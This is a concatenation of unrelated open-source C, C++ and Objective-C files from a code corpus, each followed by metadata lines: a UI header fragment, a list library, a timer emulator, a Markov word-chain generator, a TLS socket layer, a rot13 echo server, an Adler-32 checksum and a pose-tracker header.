(nonatomic,assign) CGFloat bottomLineRightSpacing; @property (nonatomic,assign) CGFloat bottomLineLeftSpacing; #pragma mark - 阴影 @property (nonatomic,assign) BOOL isHiddenShadow; @property (nonatomic,strong) CALayer *shadowLayer; @property (nonatomic,strong) UIFont *titleFont; @property (nonatomic,strong) UIFont *leftItemTextFont; @property (nonatomic,strong) UIFont *rightItemTextFont; /// item 子view 的对齐方式 @property (nonatomic,assign) UIControlContentVerticalAlignment leftVericalAlignment; @property (nonatomic,assign) UIControlContentVerticalAlignment rightVericalAlignment; @property (nonatomic,assign) UIControlContentVerticalAlignment titleVericalAlignment; @property (nonatomic,assign) UIControlContentHorizontalAlignment leftHorizontalAlignment; @property (nonatomic,assign) UIControlContentHorizontalAlignment rightHorizontalAlignment; @property (nonatomic,assign) UIControlContentHorizontalAlignment titleHorizontalAlignment; @end NS_ASSUME_NONNULL_END
0.992188
high
src/list.h
claytonkb/Babel
3
809665
<filename>src/list.h // list.h // #ifndef LIST_H #define LIST_H #define _new_cons(x) (_newin(x, 2)) // _new_cons# #define _new_dcons(x) (_newin(x, 3)) // _new_dcons# #define CDR_DIRECTION 0 #define CPR_DIRECTION 1 mword *_insls(bvm_cache *this_bvm, mword *src_list, mword *dest_list); mword *_dlist_end(bvm_cache *this_bvm, mword *list); mword *_insdls_prev(bvm_cache *this_bvm, mword *src_list, mword *dest_list); mword *_insdls(bvm_cache *this_bvm, mword *src_list, mword *dest_list); mword _len_dlist(bvm_cache *this_bvm, mword *list); //mword *_reverse_dlist(bvm_cache *this_bvm, mword *list, mword *head); mword *_reverse_dlist(bvm_cache *this_bvm, mword *list, mword *head, mword direction); mword *_dlist_cut(bvm_cache *this_bvm, mword *list, mword index, mword direction); mword *_append_direct_dlist(bvm_cache *this_bvm, mword *head_list, mword *tail_list); mword *_dcons(bvm_cache *this_bvm, mword *car, mword *cdr, mword *cpr); mword *_mkdls(bvm_cache *this_bvm, mword list_size, ...); mword *_mkls(bvm_cache *this_bvm, mword list_size, ...); mword *_cons(bvm_cache *this_bvm, mword *car, mword *cdr); void _push(bvm_cache *this_bvm, mword *list, mword *bs); mword *_pop(bvm_cache *this_bvm, mword *list); mword *_shift(bvm_cache *this_bvm, mword *list); mword _len(bvm_cache *this_bvm, mword *list); mword *_bons(bvm_cache *this_bvm, mword *list); mword *_ls2lf(bvm_cache *this_bvm, mword *list); mword *_lscat8(bvm_cache *this_bvm, mword *list); mword *_cdri(bvm_cache *this_bvm, mword *list, mword i); mword *_ith(bvm_cache *this_bvm, mword *list, mword i); mword *_reverse(bvm_cache *this_bvm, mword *list, mword *new_cdr); mword *_split(bvm_cache *this_bvm, mword *list, mword *indices); mword *_rsplit(bvm_cache *this_bvm, mword *list, mword *indices, mword count); mword *_list_end(bvm_cache *this_bvm, mword *list); mword *_list_next_to_end(bvm_cache *this_bvm, mword *list); mword *_list_cut(bvm_cache *this_bvm, mword *list, mword index); mword *_append(bvm_cache *this_bvm, mword *lists); mword *_append_direct(bvm_cache *this_bvm, mword *head_list, mword *tail_list); mword *_ar2ls(bvm_cache *this_bvm, mword *arr); mword *_unshift(bvm_cache *this_bvm, mword *list, mword *bs); mword *_unshift_op(bvm_cache *this_bvm, mword *list, mword *bs); bvm_cache *ith_rd(bvm_cache *this_bvm); bvm_cache *len_d(bvm_cache *this_bvm); bvm_cache *bons_d(bvm_cache *this_bvm); bvm_cache *car_rd(bvm_cache *this_bvm); bvm_cache *cdr_rd(bvm_cache *this_bvm); bvm_cache *cons_d(bvm_cache *this_bvm); bvm_cache *uncons_d(bvm_cache *this_bvm); bvm_cache *pop_d(bvm_cache *this_bvm); bvm_cache *push_d(bvm_cache *this_bvm); bvm_cache *shift_d(bvm_cache *this_bvm); bvm_cache *unshift_d(bvm_cache *this_bvm); bvm_cache *ls2lf_d(bvm_cache *this_bvm); bvm_cache *split_d(bvm_cache *this_bvm); bvm_cache *append_d(bvm_cache *this_bvm); bvm_cache *ins_d(bvm_cache *this_bvm); bvm_cache *rev_d(bvm_cache *this_bvm); bvm_cache *ar2ls_d(bvm_cache *this_bvm); // X(rsvd, "ar2ls_d", OP_AR2LS_D, 0x192) #endif //LIST_H // <NAME> 2013
0.953125
high
software/pc-emul/iob-timer-platform.c
codingUniv/iob-timer
0
810177
<reponame>codingUniv/iob-timer #include "iob-lib.h" #include "iob_timer_swreg.h" #include <time.h> /* convert clock values from PC CLOCK FREQ to EMBEDDED FREQ */ #define PC_TO_FREQ_FACTOR ((1.0*FREQ)/CLOCKS_PER_SEC) static clock_t start, end, time_counter, counter_reg; static int timer_enable; void pc_timer_reset(int value) { // use only reg width int rst_int = (value & 0x01); if(rst_int){ start = end = 0; time_counter = 0; timer_enable = 0; } return; } void pc_timer_enable(int value){ // use only reg width int en_int = (value & 0x01); // manage transitions // 0 -> 1 if(timer_enable == 0 && en_int == 1){ // start counting time start = clock(); } else if(timer_enable == 1 && en_int == 0){ // accumulate enable interval end = clock(); timer_enable += (end - start); start = end = 0; // reset aux clock values } // store enable en_int timer_enable = en_int; return; } void pc_timer_sample(int value) { // use only reg width int sample_int = (value & 0x01); if(sample_int){ counter_reg = time_counter; if(start != 0) counter_reg += (clock() - start); } return; } int pc_timer_data_high(){ /* convert clock from PC CLOCKS_PER_CYCLE to FREQ */ double counter_freq = (1.0*counter_reg)*PC_TO_FREQ_FACTOR; return ( (int) (((unsigned long long) counter_freq) >> 32)); } int pc_timer_data_low(){ /* convert clock from PC CLOCKS_PER_CYCLE to FREQ */ double counter_freq = (1.0*counter_reg)*PC_TO_FREQ_FACTOR; return ( (int) (((unsigned long long) counter_freq) & 0xFFFFFFFF)); } void MEM_SET(int type, int location, int value){ return; } int MEM_GET(int type, int location){ return 0; } void IO_SET(int base, int location, int value){ switch(location){ case TIMER_RESET: pc_timer_reset(value); break; case TIMER_ENABLE: pc_timer_enable(value); break; case TIMER_SAMPLE: pc_timer_sample(value); break; default: // do nothing break; } return; } int IO_GET(int base, int location){ int ret_val = 0; switch(location){ case TIMER_DATA_HIGH: ret_val = pc_timer_data_high(); break; case TIMER_DATA_LOW: ret_val = pc_timer_data_low(); break; default: // do nothing break; } return ret_val; }
0.921875
high
ai/wordChain/wordChain.c
CEpBrowser/CEpBrowser--from-UCSC-CGI-BIN
0
810689
<filename>ai/wordChain/wordChain.c /* wordChain - Create Markov chain of words. */ #include "common.h" #include "linefile.h" #include "hash.h" #include "localmem.h" #include "options.h" #include "dlist.h" #include "rbTree.h" int maxChainSize = 3; int minUse = 1; boolean lower = FALSE; boolean unpunc = FALSE; boolean fullOnly = FALSE; void usage() /* Explain usage and exit. */ { errAbort( "wordChain - Create Markov chain of words\n" "usage:\n" " wordChain in.txt\n" "options:\n" " -size=N - Set max chain size, default %d\n" " -chain=fileName - Write out word chain to file\n" " -nonsense=fileName - Write out predicted nonsense to file\n" " -lower - Lowercase all words\n" " -unpunc - Strip punctuation\n" " -fullOnly - Only output chains of size\n" " -minUse=N - Set minimum use in output chain, default %d\n" , maxChainSize, minUse ); } static struct optionSpec options[] = { {"size", OPTION_INT}, {"minUse", OPTION_INT}, {"nonsense", OPTION_STRING}, {"chain", OPTION_STRING}, {"lower", OPTION_BOOLEAN}, {"unpunc", OPTION_BOOLEAN}, {"fullOnly", OPTION_BOOLEAN}, {NULL, 0}, }; struct wordTree /* A tree of words. */ { struct rbTree *following; /* Binary tree of words that follow us. */ char *word; /* The word itself including comma, period etc. */ int useCount; /* Number of times word used. */ }; struct wordTree *wordTreeNew(char *word) /* Create and return new wordTree element. */ { struct wordTree *wt; AllocVar(wt); wt->word = cloneString(word); return wt; } int wordTreeCmpWord(void *va, void *vb) /* Compare two wordTree. */ { struct wordTree *a = va, *b = vb; return strcmp(a->word, b->word); } struct wordTree *wordTreeAddFollowing(struct wordTree *wt, char *word, struct lm *lm, struct rbTreeNode **stack) /* Make word follow wt in tree. If word already exists among followers * return it and bump use count. Otherwise create new one. */ { struct wordTree *w; if (wt->following == NULL) { wt->following = rbTreeNewDetailed(wordTreeCmpWord, lm, stack); w = NULL; } else { struct wordTree key; key.word = word; w = rbTreeFind(wt->following, &key); } if (w == NULL) { w = wordTreeNew(word); rbTreeAdd(wt->following, w); } w->useCount += 1; return w; } void addChainToTree(struct wordTree *wt, struct dlList *chain, struct lm *lm, struct rbTreeNode **stack) /* Add chain of words to tree. */ { struct dlNode *node; wt->useCount += 1; for (node = chain->head; !dlEnd(node); node = node->next) { char *word = node->val; verbose(2, " %s\n", word); wt = wordTreeAddFollowing(wt, word, lm, stack); } } void wordTreeDump(int level, struct wordTree *wt, FILE *f) /* Write out wordTree to file. */ { static char *words[64]; struct slRef *list, *ref; int i; assert(level < ArraySize(words)); words[level] = wt->word; if (wt->useCount >= minUse) { if (!fullOnly || level == maxChainSize) { fprintf(f, "%d\t", wt->useCount); for (i=1; i<=level; ++i) fprintf(f, "%s ", words[i]); fprintf(f, "\n"); } } if (wt->following != NULL) { list = rbTreeItems(wt->following); for (ref = list; ref != NULL; ref = ref->next) wordTreeDump(level+1, ref->val, f); slFreeList(&list); } } int totalUses = 0; int curUses = 0; int useThreshold = 0; char *pickedWord; void addUse(void *v) /* Add up to total uses. */ { struct wordTree *wt = v; totalUses += wt->useCount; } void pickIfInThreshold(void *v) /* See if inside threshold, and if so store it in pickedWord. */ { struct wordTree *wt = v; int top = curUses + wt->useCount; if (curUses <= useThreshold && useThreshold < top) pickedWord = wt->word; curUses = top; } char *pickRandomWord(struct rbTree *rbTree) /* Pick word from list randomly, but so that words more * commonly seen are picked more often. */ { pickedWord = NULL; curUses = 0; totalUses = 0; rbTreeTraverse(rbTree, addUse); rbTreeTraverse(rbTree, pickIfInThreshold); assert(pickedWord != NULL); return pickedWord; } char *predictNext(struct wordTree *wt, struct dlList *recent) /* Predict next word given list of recent words and wordTree. */ { struct dlNode *node; for (node = recent->head; !dlEnd(node); node = node->next) { char *word = node->val; struct wordTree key; key.word = word; wt = rbTreeFind(wt->following, &key); if (wt == NULL) errAbort("%s isn't a follower of %s\n", word, wt->word); } if (wt->following == NULL) return NULL; else return pickRandomWord(wt->following); } static void wordTreeMakeNonsense(struct wordTree *wt, int maxSize, char *firstWord, int wordCount, FILE *f) /* Go spew out a bunch of words according to probabilities in tree. */ { struct dlList *ll = dlListNew(); int listSize = 0; int i; for (;;) { struct dlNode *node; char *word; /* Get next predicted word. */ if (listSize == 0) { AllocVar(node); ++listSize; word = firstWord; } else if (listSize >= maxSize) { node = dlPopHead(ll); word = predictNext(wt, ll); } else { word = predictNext(wt, ll); AllocVar(node); ++listSize; } node->val = word; dlAddTail(ll, node); if (word == NULL) break; /* Output last word in list. */ { node = ll->tail; word = node->val; fprintf(f, "%s", word); if (word[strlen(word)-1] == '.') fprintf(f, "\n"); else fprintf(f, " "); } } dlListFree(&ll); } void wordChain(char *inFile, int maxSize) /* wordChain - Create Markov chain of words. */ { struct lineFile *lf = lineFileOpen(inFile, TRUE); FILE *f; char *line, *word, *firstWord = NULL; struct dlList *ll = dlListNew(); struct dlNode *node; int llSize = 0; struct wordTree *wt = wordTreeNew(""); int wordCount = 0; struct lm *lm = lmInit(0); struct rbTreeNode **stack; stack = lmAllocArray(lm, stack, 256); while (lineFileNext(lf, &line, NULL)) { if (lower) tolowers(line); while ((word = nextWord(&line)) != NULL) { if (unpunc) { stripChar(word, ','); stripChar(word, '.'); stripChar(word, ';'); stripChar(word, '-'); stripChar(word, '"'); stripChar(word, '?'); stripChar(word, '!'); stripChar(word, '('); stripChar(word, ')'); if (word[0] == 0) continue; } verbose(2, "%s\n", word); if (wordCount == 0) firstWord = cloneString(word); if (llSize < maxSize) { dlAddValTail(ll, cloneString(word)); ++llSize; if (llSize == maxSize) addChainToTree(wt, ll, lm, stack); } else { node = dlPopHead(ll); freeMem(node->val); node->val = cloneString(word); dlAddTail(ll, node); addChainToTree(wt, ll, lm, stack); } ++wordCount; } } if (llSize < maxSize) addChainToTree(wt, ll, lm, stack); while ((node = dlPopHead(ll)) != NULL) { addChainToTree(wt, ll, lm, stack); freeMem(node->val); freeMem(node); } dlListFree(&ll); lineFileClose(&lf); if (optionExists("chain")) { char *fileName = optionVal("chain", NULL); f = mustOpen(fileName, "w"); wordTreeDump(0, wt, f); carefulClose(&f); } if (optionExists("nonsense")) { char *fileName = optionVal("nonsense", NULL); FILE *f = mustOpen(fileName, "w"); wordTreeMakeNonsense(wt, maxSize, firstWord, wordCount, f); carefulClose(&f); } } int main(int argc, char *argv[]) /* Process command line. */ { optionInit(&argc, argv, options); if (argc != 2) usage(); maxChainSize = optionInt("size", maxChainSize); minUse = optionInt("minUse", minUse); lower = optionExists("lower"); unpunc = optionExists("unpunc"); fullOnly = optionExists("fullOnly"); wordChain(argv[1], maxChainSize); return 0; }
0.992188
high
platform/simplelink/network_sl.c
swan-solutions/aws-iot-device-sdk-embedded-C
1
811201
/* * Copyright Swan Solutions Inc. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ #include <network_interface.h> #include <aws_iot_error.h> #include "simplelink.h" #define SOCKET_TIMEOUT_VAL 5000 // Timeout period while waiting for non-blocking socket APIs #define SOCKET_POLL_INTERVAL 100 // Polling interval for non-blocking socket APIs extern uint32_t NetWiFi_isConnected(void); IoT_Error_t iot_tls_init(Network *pNetwork, char *pRootCALocation, char *pDeviceCertLocation, char *pDevicePrivateKeyLocation, char *pDestinationURL, uint16_t DestinationPort, uint32_t timeout_ms, bool ServerVerificationFlag) { if (pNetwork == NULL) { return NULL_VALUE_ERROR; } // Init TLS parameters pNetwork->tlsConnectParams.DestinationPort = DestinationPort; pNetwork->tlsConnectParams.pDestinationURL = pDestinationURL; pNetwork->tlsConnectParams.pDeviceCertLocation = pDeviceCertLocation; pNetwork->tlsConnectParams.pDevicePrivateKeyLocation = pDevicePrivateKeyLocation; pNetwork->tlsConnectParams.pRootCALocation = pRootCALocation; pNetwork->tlsConnectParams.timeout_ms = timeout_ms; pNetwork->tlsConnectParams.ServerVerificationFlag = ServerVerificationFlag; pNetwork->connect = iot_tls_connect; pNetwork->read = iot_tls_read; pNetwork->write = iot_tls_write; pNetwork->disconnect = iot_tls_disconnect; pNetwork->isConnected = iot_tls_is_connected; pNetwork->destroy = iot_tls_destroy; pNetwork->tlsDataParams.ssock = NULL; return SUCCESS; } IoT_Error_t iot_tls_connect(Network *pNetwork, TLSConnectParams *TLSParams) { IoT_Error_t rc = SUCCESS; unsigned long ip; int skt = 0; SlSockAddrIn_t address; TLSConnectParams *tlsParams; long lRetVal = -1; long lNonBlocking = 1; long timeout = SOCKET_TIMEOUT_VAL; if (pNetwork == NULL) { return (NULL_VALUE_ERROR); } // Use TLS params in Network struct tlsParams = &pNetwork->tlsConnectParams; // Open a secure socket skt = sl_Socket(SL_AF_INET,SL_SOCK_STREAM, SL_SEC_SOCKET); if (skt < 0) return NETWORK_ERR_NET_SOCKET_FAILED; // Configure socket to be non-blocking lRetVal = sl_SetSockOpt(skt, SL_SOL_SOCKET, SL_SO_NONBLOCKING, &lNonBlocking, sizeof(lNonBlocking)); if(lRetVal < 0) { rc = NETWORK_SSL_INIT_ERROR; goto QUIT; } // Configure the socket with CA certificate - for server verification lRetVal = sl_SetSockOpt(skt, SL_SOL_SOCKET, SL_SO_SECURE_FILES_CA_FILE_NAME, tlsParams->pRootCALocation, strlen(tlsParams->pRootCALocation)); if(lRetVal < 0) { rc = NETWORK_SSL_INIT_ERROR; goto QUIT; } // Configure the socket with client certificate lRetVal = sl_SetSockOpt(skt, SL_SOL_SOCKET, SL_SO_SECURE_FILES_CERTIFICATE_FILE_NAME, tlsParams->pDeviceCertLocation, strlen(tlsParams->pDeviceCertLocation)); if(lRetVal < 0) { rc = NETWORK_SSL_INIT_ERROR; goto QUIT; } // Configure the socket with private key lRetVal = sl_SetSockOpt(skt, SL_SOL_SOCKET, SL_SO_SECURE_FILES_PRIVATE_KEY_FILE_NAME, tlsParams->pDevicePrivateKeyLocation, strlen(tlsParams->pDevicePrivateKeyLocation)); if(lRetVal < 0) { rc = NETWORK_SSL_INIT_ERROR; goto QUIT; } // Securely verify domain name lRetVal = sl_SetSockOpt(skt, SL_SOL_SOCKET, SO_SECURE_DOMAIN_NAME_VERIFICATION, tlsParams->pDestinationURL, strlen(tlsParams->pDestinationURL)); if(lRetVal < 0) { rc = NETWORK_ERR_NET_UNKNOWN_HOST; goto QUIT; } // Get host IP lRetVal = sl_NetAppDnsGetHostByName((signed char *)tlsParams->pDestinationURL, strlen(tlsParams->pDestinationURL), (unsigned long*)&ip, SL_AF_INET); if(lRetVal < 0) { rc = NETWORK_ERR_NET_UNKNOWN_HOST; goto QUIT; } // Configure host address address.sin_family = SL_AF_INET; address.sin_port = sl_Htons(tlsParams->DestinationPort); address.sin_addr.s_addr = sl_Htonl(ip); // Connect to server while(1) { lRetVal = sl_Connect(skt, (SlSockAddr_t *)&address, sizeof(address)); if(lRetVal != SL_EALREADY) break; // Wait a bit osi_Sleep(SOCKET_POLL_INTERVAL); // Check for timeout while sending timeout -= SOCKET_POLL_INTERVAL; if(timeout <= 0) break; } if(lRetVal < 0) { rc = NETWORK_ERR_NET_CONNECT_FAILED; goto QUIT; } QUIT: if(rc == SUCCESS) { // Store successful socket connection pNetwork->tlsDataParams.ssock = skt; } else { // Free socket memory if socket was opened if (skt >= 0) sl_Close(skt); // Clear socket handle from network parameters pNetwork->tlsDataParams.ssock = NULL; } // Return return rc; } IoT_Error_t iot_tls_is_connected(Network *pNetwork) { return ((IoT_Error_t)NetWiFi_isConnected()); } IoT_Error_t iot_tls_write(Network *pNetwork, unsigned char *pMsg, size_t len, Timer *timer, size_t *numbytes) { int ssock = NULL; int bytes = 0; if (pNetwork == NULL || pMsg == NULL || pNetwork->tlsDataParams.ssock == NULL || numbytes == NULL) { return NULL_VALUE_ERROR; } ssock = pNetwork->tlsDataParams.ssock; int timeout = SOCKET_TIMEOUT_VAL; while(1) { // Try to send data over socket bytes = sl_Send(ssock, pMsg, len, 0); if(bytes != SL_EAGAIN) break; // Wait a bit osi_Sleep(SOCKET_POLL_INTERVAL); // Check for timeout while sending timeout -= SOCKET_POLL_INTERVAL; if(timeout <= 0) { *numbytes = 0; return NETWORK_SSL_WRITE_ERROR; } } if (bytes > 0) { *numbytes = (size_t)bytes; return SUCCESS; } return NETWORK_SSL_WRITE_ERROR; } IoT_Error_t iot_tls_read(Network *pNetwork, unsigned char *pMsg, size_t len, Timer *timer, size_t *numbytes) { int bytes = 0; SlTimeval_t tv; int ssock = NULL; uint32_t timeout; if (pNetwork == NULL || pMsg == NULL || pNetwork->tlsDataParams.ssock == NULL || timer == NULL || numbytes == NULL) { return (NULL_VALUE_ERROR); } ssock = pNetwork->tlsDataParams.ssock; timeout = left_ms(timer); if (timeout == 0) { /* sock timeout of 0 == block forever; just read + return if expired */ timeout = 1; } tv.tv_sec = 0; tv.tv_usec = timeout * 1000; if (sl_SetSockOpt(ssock, SL_SOL_SOCKET, SL_SO_RCVTIMEO, (char *)&tv, sizeof(tv)) == 0) { bytes = sl_Recv(ssock, pMsg, len, 0); if (bytes > 0) { *numbytes = (size_t)bytes; return SUCCESS; } else if (bytes == SL_EAGAIN) { // nothing to read in the socket buffer return NETWORK_SSL_NOTHING_TO_READ; } } return NETWORK_SSL_READ_ERROR; } IoT_Error_t iot_tls_disconnect(Network *pNetwork) { int ssock = NULL; if (pNetwork == NULL || pNetwork->tlsDataParams.ssock == NULL) { return (NULL_VALUE_ERROR); } ssock = pNetwork->tlsDataParams.ssock; sl_Close(ssock); return SUCCESS; } IoT_Error_t iot_tls_destroy(Network *pNetwork) { if (pNetwork == NULL) { return (NULL_VALUE_ERROR); } pNetwork->connect = NULL; pNetwork->read = NULL; pNetwork->write = NULL; pNetwork->disconnect = NULL; pNetwork->isConnected = NULL; pNetwork->destroy = NULL; return SUCCESS; }
0.996094
high
main.c
wwwillian/jogo_C_adivinhacao
0
811713
#include <stdio.h> int main() { int lucky; scanf("%d", &lucky); for (int i = 0; i <= 10; i++) { printf("%d x 2 = %d \n", lucky, lucky * i); } }
0.558594
low
c-program/socket1/poll-server-multithreads.c
aiter/cs
0
812225
<gh_stars>0 #include <lib/acceptor.h> #include "lib/common.h" #include "lib/event_loop.h" #include "lib/tcp_server.h" char rot13_char(char c) { if ((c >= 'a' && c <= 'm') || (c >= 'A' && c <= 'M')) return c + 13; else if ((c >= 'n' && c <= 'z') || (c >= 'N' && c <= 'Z')) return c - 13; else return c; } int onConnectionCompleted(struct tcp_connection *tcpConnection) { printf("connnection completed\n"); return 0; } int onMessage(struct buffer *input, struct tcp_connection *tcpConnection) { printf("get message from tcp connnection %s \n", tcpConnection->name); printf("%s", input->data); struct buffer *output = buffer_new(); int size = buffer_readable_size(input); for (int i = 0; i < size; i++) { buffer_append_char(output, rot13_char(buffer_append_char(input))); } tcp_connection_send_buffer(tcpConnection, output); return 0; } int onWriteCompleted(struct tcp_connection *tcpConnection) { printf("write completed\n"); return 0; } int onConnectionClosed(struct tcp_connection *tcpConnection) { printf("close completed\n"); return 0; } int main(int c, char **v) { //主线程event_loop struct event_loop *eventLoop = event_loop_init(); //初始化acceptor struct acceptor *acceptor = acceptor_init(SERV_PORT); //初始化tcp_server // 设置线程数目为4。说明是一个主acceptor线程,4个从reactor处理I/O的线程,每一个线程都跟一个event_loop一一绑定 struct TCPserver *tcpServer = tcp_server_init(eventLoop, acceptor, onConnectionCompleted, onMessage, onWriteCompleted, onConnectionClosed, 4); tcp_server_start(tcpServer); //main thread event_loop_run(eventLoop); }
0.949219
high
compress/libdeflate/adler32.c
jcharum/base
52
812737
/* * adler32.c - Adler-32 checksum algorithm * * Copyright 2016 <NAME> * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ #include "lib_common.h" #include "libdeflate.h" /* The Adler-32 divisor, or "base", value. */ #define DIVISOR 65521 /* * MAX_CHUNK_SIZE is the most bytes that can be processed without the * possibility of s2 overflowing when it is represented as an unsigned 32-bit * integer. This value was computed using the following Python script: * * divisor = 65521 * count = 0 * s1 = divisor - 1 * s2 = divisor - 1 * while True: * s1 += 0xFF * s2 += s1 * if s2 > 0xFFFFFFFF: * break * count += 1 * print(count) * * Note that to get the correct worst-case value, we must assume that every byte * has value 0xFF and that s1 and s2 started with the highest possible values * modulo the divisor. */ #define MAX_CHUNK_SIZE 5552 typedef u32 (*adler32_func_t)(u32, const u8 *, size_t); /* Include architecture-specific implementations if available */ #undef DEFAULT_IMPL #undef DISPATCH #if defined(__arm__) || defined(__aarch64__) # include "arm/adler32_impl.h" #elif defined(__i386__) || defined(__x86_64__) # include "adler32_impl.h" #endif /* Define a generic implementation if needed */ #ifndef DEFAULT_IMPL #define DEFAULT_IMPL adler32_generic static u32 adler32_generic(u32 adler, const u8 *p, size_t size) { u32 s1 = adler & 0xFFFF; u32 s2 = adler >> 16; const u8 * const end = p + size; while (p != end) { size_t chunk_size = MIN(end - p, MAX_CHUNK_SIZE); const u8 *chunk_end = p + chunk_size; size_t num_unrolled_iterations = chunk_size / 4; while (num_unrolled_iterations--) { s1 += *p++; s2 += s1; s1 += *p++; s2 += s1; s1 += *p++; s2 += s1; s1 += *p++; s2 += s1; } while (p != chunk_end) { s1 += *p++; s2 += s1; } s1 %= DIVISOR; s2 %= DIVISOR; } return (s2 << 16) | s1; } #endif /* !DEFAULT_IMPL */ #ifdef DISPATCH static u32 dispatch(u32, const u8 *, size_t); static volatile adler32_func_t adler32_impl = dispatch; /* Choose the fastest implementation at runtime */ static u32 dispatch(u32 adler, const u8 *buffer, size_t size) { adler32_func_t f = arch_select_adler32_func(); if (f == NULL) f = DEFAULT_IMPL; adler32_impl = f; return adler32_impl(adler, buffer, size); } #else # define adler32_impl DEFAULT_IMPL /* only one implementation, use it */ #endif LIBDEFLATEAPI u32 libdeflate_adler32(u32 adler, const void *buffer, size_t size) { if (buffer == NULL) /* return initial value */ return 1; return adler32_impl(adler, buffer, size); }
0.996094
high
modules/reconstruction/include/v4r/reconstruction/ProjLKPoseTrackerRT.h
v4r-tuwien/v4r
2
813249
/**************************************************************************** ** ** Copyright (C) 2017 TU Wien, ACIN, Vision 4 Robotics (V4R) group ** Contact: v4r.acin.tuwien.ac.at ** ** This file is part of V4R ** ** V4R is distributed under dual licenses - GPLv3 or closed source. ** ** GNU General Public License Usage ** V4R is free software: you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published ** by the Free Software Foundation, either version 3 of the License, or ** (at your option) any later version. ** ** V4R is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** Please review the following information to ensure the GNU General Public ** License requirements will be met: https://www.gnu.org/licenses/gpl-3.0.html. ** ** ** Commercial License Usage ** If GPL is not suitable for your project, you must purchase a commercial ** license to use V4R. Licensees holding valid commercial V4R licenses may ** use this file in accordance with the commercial license agreement ** provided with the Software or, alternatively, in accordance with the ** terms contained in a written agreement between you and TU Wien, ACIN, V4R. ** For licensing terms and conditions please contact office<at>acin.tuwien.ac.at. ** ** ** The copyright holder additionally grants the author(s) of the file the right ** to use, copy, modify, merge, publish, distribute, sublicense, and/or ** sell copies of their contributions without any restrictions. ** ****************************************************************************/ /** * @file main.cpp * @author <NAME> (<EMAIL>) * @date 2017 * @brief * */ #ifndef KP_PROJ_LK_POSE_TRACKER_RT_HH #define KP_PROJ_LK_POSE_TRACKER_RT_HH #include <stdio.h> #include <v4r/keypoints/RigidTransformationRANSAC.h> #include <v4r/reconstruction/RefineProjectedPointLocationLK.h> #include <Eigen/Dense> #include <opencv2/calib3d/calib3d.hpp> #include <opencv2/core/core.hpp> #include <opencv2/imgproc/imgproc.hpp> #include <stdexcept> #include <string> #include <v4r/common/impl/DataMatrix2D.hpp> #include <v4r/keypoints/impl/Object.hpp> namespace v4r { /** * ProjLKPoseTrackerRT */ class V4R_EXPORTS ProjLKPoseTrackerRT { public: class V4R_EXPORTS Parameter { public: bool compute_global_pose; RigidTransformationRANSAC::Parameter rt_param; // 0.04 (slam: 0.08) RefineProjectedPointLocationLK::Parameter plk_param; Parameter(bool _compute_global_pose = true, const RigidTransformationRANSAC::Parameter &_rt_param = RigidTransformationRANSAC::Parameter(0.04), const RefineProjectedPointLocationLK::Parameter &_plk_param = RefineProjectedPointLocationLK::Parameter()) : compute_global_pose(_compute_global_pose), rt_param(_rt_param), plk_param(_plk_param) {} }; private: Parameter param; float sqr_inl_dist; cv::Mat_<double> src_dist_coeffs, tgt_dist_coeffs; cv::Mat_<double> src_intrinsic, tgt_intrinsic; cv::Mat_<unsigned char> im_gray; std::vector<cv::Point2f> im_points; std::vector<int> inliers, converged; std::vector<Eigen::Vector3f> model_pts; std::vector<Eigen::Vector3f> query_pts; ObjectView::Ptr model; RefineProjectedPointLocationLK::Ptr plk; RigidTransformationRANSAC::Ptr rt; public: cv::Mat dbg; ProjLKPoseTrackerRT(const Parameter &p = Parameter()); ~ProjLKPoseTrackerRT(); double detect(const cv::Mat &image, const DataMatrix2D<Eigen::Vector3f> &cloud, Eigen::Matrix4f &pose); ObjectView::Ptr getModel() { return model; } void setModel(const ObjectView::Ptr &_model, const Eigen::Matrix4f &_pose); void getProjections(std::vector<std::pair<int, cv::Point2f>> &im_pts); void setSourceCameraParameter(const cv::Mat &_intrinsic, const cv::Mat &_dist_coeffs); void setTargetCameraParameter(const cv::Mat &_intrinsic, const cv::Mat &_dist_coeffs); typedef std::shared_ptr<::v4r::ProjLKPoseTrackerRT> Ptr; typedef std::shared_ptr<::v4r::ProjLKPoseTrackerRT const> ConstPtr; }; /***************************** inline methods *******************************/ } // namespace v4r #endif
0.996094
high
src/fastcd/camera.h
ICRA-2018/fast_change_detection
0
813761
